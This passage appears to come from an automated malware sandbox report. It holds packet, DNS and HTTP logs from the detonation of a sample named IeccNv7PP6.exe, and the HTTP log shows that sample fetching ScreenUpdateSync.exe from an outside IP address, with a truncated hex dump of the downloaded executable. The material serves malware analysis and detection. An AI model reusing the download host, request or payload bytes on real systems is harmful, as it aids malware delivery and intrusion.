Nov 26, 2024 00:10:00.602807999 CET	443	50017	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:00.602888107 CET	443	50017	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:00.602968931 CET	50017	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:00.602981091 CET	443	50017	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:00.603048086 CET	443	50017	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:00.603110075 CET	50017	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:00.603244066 CET	50017	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:00.603251934 CET	443	50017	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:00.606928110 CET	50022	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:00.606965065 CET	443	50022	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:00.607028008 CET	50022	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:00.607208967 CET	50022	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:00.607223034 CET	443	50022	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:00.623024940 CET	443	50019	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:00.623557091 CET	50019	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:00.623568058 CET	443	50019	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:00.624265909 CET	50019	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:00.624269962 CET	443	50019	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:00.686177969 CET	443	50018	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:00.686492920 CET	50018	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:00.686517000 CET	443	50018	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:00.687165976 CET	50018	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:00.687170029 CET	443	50018	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:00.695285082 CET	443	50020	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:00.695579052 CET	50020	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:00.695590019 CET	443	50020	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:00.696091890 CET	50020	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:00.696096897 CET	443	50020	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.040983915 CET	443	50021	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.041404963 CET	50021	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.041431904 CET	443	50021	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.041856050 CET	50021	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.041860104 CET	443	50021	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.068280935 CET	443	50019	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.068298101 CET	443	50019	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.068341017 CET	50019	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.068350077 CET	443	50019	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.068531990 CET	50019	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.068537951 CET	443	50019	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.068550110 CET	50019	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.068645000 CET	443	50019	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.068670988 CET	443	50019	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.068708897 CET	50019	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.071146965 CET	50023	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.071165085 CET	443	50023	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.071218014 CET	50023	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.071368933 CET	50023	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.071374893 CET	443	50023	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.176316023 CET	443	50020	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.176345110 CET	443	50020	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.176357985 CET	443	50020	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.176482916 CET	50020	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.176511049 CET	443	50020	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.176561117 CET	50020	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.189378023 CET	443	50018	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.189402103 CET	443	50018	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.189415932 CET	443	50018	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.189457893 CET	50018	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.189470053 CET	443	50018	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.189496040 CET	50018	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.189517975 CET	50018	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.355580091 CET	443	50020	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.355611086 CET	443	50020	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.355648041 CET	443	50020	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.355649948 CET	50020	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.355693102 CET	50020	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.355796099 CET	50020	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.355812073 CET	443	50020	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.356935978 CET	443	50018	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.356980085 CET	443	50018	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.356988907 CET	50018	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.357036114 CET	50018	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.357064009 CET	50018	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.357075930 CET	443	50018	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.357088089 CET	50018	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.357090950 CET	443	50018	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.359916925 CET	50025	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.359919071 CET	50024	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.359939098 CET	443	50025	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.360008955 CET	443	50024	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.360035896 CET	50025	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.360074997 CET	50024	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.360223055 CET	50025	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.360222101 CET	50024	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.360234976 CET	443	50025	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.360260963 CET	443	50024	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.508795977 CET	443	50021	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.508831978 CET	443	50021	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.508881092 CET	50021	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.508898973 CET	443	50021	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.508944988 CET	50021	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.511007071 CET	50021	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.511010885 CET	443	50021	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.511025906 CET	50021	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.511199951 CET	443	50021	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.511240005 CET	443	50021	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.511284113 CET	50021	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.544279099 CET	50026	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.544367075 CET	443	50026	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:01.544449091 CET	50026	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.544680119 CET	50026	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:01.544737101 CET	443	50026	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:02.390747070 CET	443	50022	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:02.400975943 CET	50022	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:02.401007891 CET	443	50022	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:02.401669025 CET	50022	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:02.401674986 CET	443	50022	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:02.792329073 CET	443	50023	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:02.793222904 CET	50023	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:02.793239117 CET	443	50023	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:02.794198990 CET	50023	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:02.794203043 CET	443	50023	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:02.839628935 CET	443	50022	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:02.839649916 CET	443	50022	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:02.839694977 CET	50022	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:02.839715958 CET	443	50022	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:02.839896917 CET	50022	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:02.839909077 CET	443	50022	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:02.839916945 CET	50022	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:02.840069056 CET	443	50022	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:02.840099096 CET	443	50022	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:02.840138912 CET	50022	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:02.842997074 CET	50027	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:02.843031883 CET	443	50027	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:02.843089104 CET	50027	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:02.843221903 CET	50027	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:02.843240023 CET	443	50027	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:03.075014114 CET	443	50025	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:03.075457096 CET	50025	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:03.075479031 CET	443	50025	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:03.075844049 CET	50025	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:03.075853109 CET	443	50025	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:03.076339006 CET	443	50024	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:03.076630116 CET	50024	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:03.076709986 CET	443	50024	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:03.077088118 CET	50024	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:03.077107906 CET	443	50024	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:03.236332893 CET	443	50023	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:03.239340067 CET	443	50023	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:03.239408970 CET	50023	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:03.239442110 CET	50023	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:03.239450932 CET	443	50023	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:03.239460945 CET	50023	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:03.239464045 CET	443	50023	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:03.241564989 CET	50028	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:03.241605043 CET	443	50028	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:03.241671085 CET	50028	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:03.241805077 CET	50028	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:03.241822958 CET	443	50028	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:03.327414989 CET	443	50026	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:03.327869892 CET	50026	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:03.327939034 CET	443	50026	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:03.328279972 CET	50026	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:03.328291893 CET	443	50026	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:03.512562037 CET	443	50025	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:03.516047955 CET	443	50025	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:03.516112089 CET	50025	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:03.516130924 CET	50025	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:03.516139030 CET	443	50025	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:03.516166925 CET	50025	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:03.516170979 CET	443	50025	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:03.519284010 CET	50029	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:03.519310951 CET	443	50029	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:03.519371986 CET	50029	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:03.519560099 CET	50029	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:03.519576073 CET	443	50029	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:03.540646076 CET	443	50024	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:03.540688038 CET	443	50024	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:03.540734053 CET	50024	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:03.540872097 CET	50024	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:03.540872097 CET	50024	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:03.540910006 CET	443	50024	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:03.540932894 CET	443	50024	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:03.543634892 CET	50030	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:03.543664932 CET	443	50030	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:03.543729067 CET	50030	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:03.543939114 CET	50030	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:03.543957949 CET	443	50030	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:03.772813082 CET	443	50026	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:03.772891998 CET	443	50026	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:03.773010969 CET	50026	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:03.773204088 CET	50026	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:03.773204088 CET	50026	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:03.773245096 CET	443	50026	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:03.773266077 CET	443	50026	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:03.778646946 CET	50031	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:03.778661013 CET	443	50031	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:03.778795958 CET	50031	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:03.781963110 CET	50031	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:03.781971931 CET	443	50031	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:04.621323109 CET	443	50027	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:04.621861935 CET	50027	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:04.621893883 CET	443	50027	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:04.622478008 CET	50027	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:04.622483015 CET	443	50027	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:04.961427927 CET	443	50028	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:04.961894035 CET	50028	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:04.961908102 CET	443	50028	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:04.962289095 CET	50028	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:04.962294102 CET	443	50028	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:05.265059948 CET	443	50030	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:05.265623093 CET	50030	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:05.265644073 CET	443	50030	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:05.266388893 CET	50030	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:05.266393900 CET	443	50030	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:05.319118977 CET	443	50029	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:05.319535971 CET	50029	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:05.319562912 CET	443	50029	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:05.319977045 CET	50029	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:05.319981098 CET	443	50029	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:05.396467924 CET	443	50028	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:05.399537086 CET	443	50028	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:05.399605036 CET	50028	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:05.399650097 CET	50028	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:05.399669886 CET	443	50028	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:05.399679899 CET	50028	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:05.399688005 CET	443	50028	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:05.568555117 CET	443	50031	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:05.571475029 CET	50031	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:05.571475029 CET	50031	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:05.571510077 CET	443	50031	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:05.571527004 CET	443	50031	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:05.704123020 CET	443	50030	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:05.707247019 CET	443	50030	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:05.710727930 CET	50030	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:05.710727930 CET	50030	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:05.710824966 CET	50030	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:05.710855961 CET	443	50030	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:05.790390968 CET	443	50029	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:05.790463924 CET	443	50029	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:05.790890932 CET	50029	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:05.790890932 CET	50029	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:05.794648886 CET	50029	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:05.794663906 CET	443	50029	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:06.016403913 CET	443	50031	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:06.016489029 CET	443	50031	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:06.016699076 CET	50031	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:06.017453909 CET	50031	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:06.017453909 CET	50031	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:06.017476082 CET	443	50031	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:06.017484903 CET	443	50031	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:06.317461014 CET	443	50027	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:06.320508957 CET	443	50027	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:06.320561886 CET	443	50027	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:06.320820093 CET	50027	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:06.320858955 CET	50027	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:06.320858955 CET	50027	443	192.168.2.4	13.107.246.63
Nov 26, 2024 00:10:06.320878029 CET	443	50027	13.107.246.63	192.168.2.4
Nov 26, 2024 00:10:06.320887089 CET	443	50027	13.107.246.63	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 26, 2024 00:07:16.338066101 CET	51728	53	192.168.2.4	1.1.1.1
Nov 26, 2024 00:07:16.600956917 CET	53	51728	1.1.1.1	192.168.2.4
Nov 26, 2024 00:07:23.662873030 CET	138	138	192.168.2.4	192.168.2.255
Nov 26, 2024 00:07:32.301631927 CET	53	54183	1.1.1.1	192.168.2.4
Nov 26, 2024 00:07:32.335627079 CET	53	60003	1.1.1.1	192.168.2.4
Nov 26, 2024 00:07:32.370917082 CET	58710	53	192.168.2.4	1.1.1.1
Nov 26, 2024 00:07:32.371181965 CET	56186	53	192.168.2.4	1.1.1.1
Nov 26, 2024 00:07:32.509871006 CET	53	58710	1.1.1.1	192.168.2.4
Nov 26, 2024 00:07:32.510731936 CET	53	56186	1.1.1.1	192.168.2.4
Nov 26, 2024 00:07:35.075366020 CET	53	62699	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 26, 2024 00:07:16.338066101 CET	192.168.2.4	1.1.1.1	0xdf8c	Standard query (0)	post-to-me.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 00:07:32.370917082 CET	192.168.2.4	1.1.1.1	0xecf4	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 26, 2024 00:07:32.371181965 CET	192.168.2.4	1.1.1.1	0x589f	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 26, 2024 00:07:16.600956917 CET	1.1.1.1	192.168.2.4	0xdf8c	No error (0)	post-to-me.com	172.67.179.207	A (IP address)	IN (0x0001)	false
Nov 26, 2024 00:07:16.600956917 CET	1.1.1.1	192.168.2.4	0xdf8c	No error (0)	post-to-me.com	104.21.56.70	A (IP address)	IN (0x0001)	false
Nov 26, 2024 00:07:32.509871006 CET	1.1.1.1	192.168.2.4	0xecf4	No error (0)	www.google.com	142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 26, 2024 00:07:32.510731936 CET	1.1.1.1	192.168.2.4	0x589f	No error (0)	www.google.com		65	IN (0x0001)	false

HTTP Request Dependency Graph

post-to-me.com

slscr.update.microsoft.com

www.google.com

fs.microsoft.com

otelrules.azureedge.net

176.113.115.37

92.255.57.88

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	176.113.115.37	80	7424	C:\Users\user\Desktop\IeccNv7PP6.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 00:07:18.974263906 CET	85	OUT	GET /ScreenUpdateSync.exe HTTP/1.1 User-Agent: ShareScreen Host: 176.113.115.37
Nov 26, 2024 00:07:20.404117107 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:07:20 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 25 Nov 2024 21:52:22 GMT ETag: "65200-627c3bf569ed6" Accept-Ranges: bytes Content-Length: 414208 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 47 0d 76 ab 03 6c 18 f8 03 6c 18 f8 03 6c 18 f8 1d 3e 9c f8 23 6c 18 f8 1d 3e 8d f8 18 6c 18 f8 1d 3e 9b f8 79 6c 18 f8 24 aa 63 f8 00 6c 18 f8 03 6c 19 f8 7f 6c 18 f8 1d 3e 92 f8 02 6c 18 f8 1d 3e 8c f8 02 6c 18 f8 1d 3e 89 f8 02 6c 18 f8 52 69 63 68 03 6c 18 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ea b3 42 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 64 05 00 00 4c 01 00 00 00 00 00 42 5d 00 00 00 10 00 00 00 80 05 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 00 25 00 00 04 00 00 2c 14 07 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$Gvlll>#l>l>yl$clll>l>l>lRichlPELBedLB]@%,i(PhI@.text"cd `.data`h@.dipo0@@.puwuxu@@@.rsrcP@@
Nov 26, 2024 00:07:20.404131889 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 84 6b 05 00 98 6b 05 00 ae 6b 05 00 c4 6b 05 00 d2 6b 05 00 ea 6b 05 00 fe 6b 05 00 10 6c 05 00 28 6c 05 00 46 6c 05 00 5a 6c Data Ascii: kkkkkkkl(lFlZlllllllllmm(m:mXmnmmmmmmmnn"n2nFnVnpn~nnnnnnnoo
Nov 26, 2024 00:07:20.404146910 CET	1236	IN	Data Raw: 42 6f 05 00 5e 6f 05 00 7c 6f 05 00 8e 6f 05 00 9a 6f 05 00 b2 6f 05 00 ca 6f 05 00 dc 6f 05 00 ec 6f 05 00 fa 6f 05 00 0c 70 05 00 24 70 05 00 38 70 05 00 4c 70 05 00 60 70 05 00 68 70 05 00 76 70 05 00 82 70 05 00 98 70 05 00 aa 70 05 00 b6 70 Data Ascii: Bo^o\|oooooooop$p8pLp`phpvpppppppppqq,q:qTqdq~qqqqqqqqrr.r>rPrdrvrrrrrrrrssL]@g@
Nov 26, 2024 00:07:20.404159069 CET	1236	IN	Data Raw: e2 7d d8 3f 00 00 00 e0 ed 2c 67 bc 00 00 00 00 00 00 f0 bf 5a 22 9d 93 ea 0b a6 3f 06 9f d5 2e 06 94 d2 3f 00 00 00 a0 8d d2 75 bc 00 00 00 00 00 00 f0 bf fb 69 14 01 06 ad 93 3f 0b a6 69 3c b8 f8 c8 3f 00 00 00 c0 19 6d 62 bc 00 00 00 00 00 00 Data Ascii: }?,gZ"?.?ui?i<?mb1mm.s?,)?'>1mm.s?,)'><i?i<mb<Z"?.u<
Nov 26, 2024 00:07:20.404169083 CET	1236	IN	Data Raw: 00 00 40 54 fb 21 b9 3f 73 70 03 2e 8a 19 63 3b 00 00 00 00 00 00 60 43 00 00 00 00 00 00 80 3c ff ff ff ff ff ff ef 3f 00 00 00 00 00 00 00 80 00 00 00 00 00 00 f0 3f 00 00 00 00 00 00 f0 bf ff ff ff ff ff ff ff 7f 00 00 00 00 00 00 00 00 3b 61 Data Ascii: @T!?sp.c;`C<??;a@`@`@?5h!>@@(null)(null)EEE50P( 8PX700WP
Nov 26, 2024 00:07:20.404181004 CET	672	IN	Data Raw: 52 36 30 31 39 0d 0a 2d 20 75 6e 61 62 6c 65 20 74 6f 20 6f 70 65 6e 20 63 6f 6e 73 6f 6c 65 20 64 65 76 69 63 65 0d 0a 00 00 00 00 52 36 30 31 38 0d 0a 2d 20 75 6e 65 78 70 65 63 74 65 64 20 68 65 61 70 20 65 72 72 6f 72 0d 0a 00 00 00 00 52 36 Data Ascii: R6019- unable to open console deviceR6018- unexpected heap errorR6017- unexpected multithread lock errorR6016- not enough space for thread dataThis application has requested the Runtime to terminate it in an unus
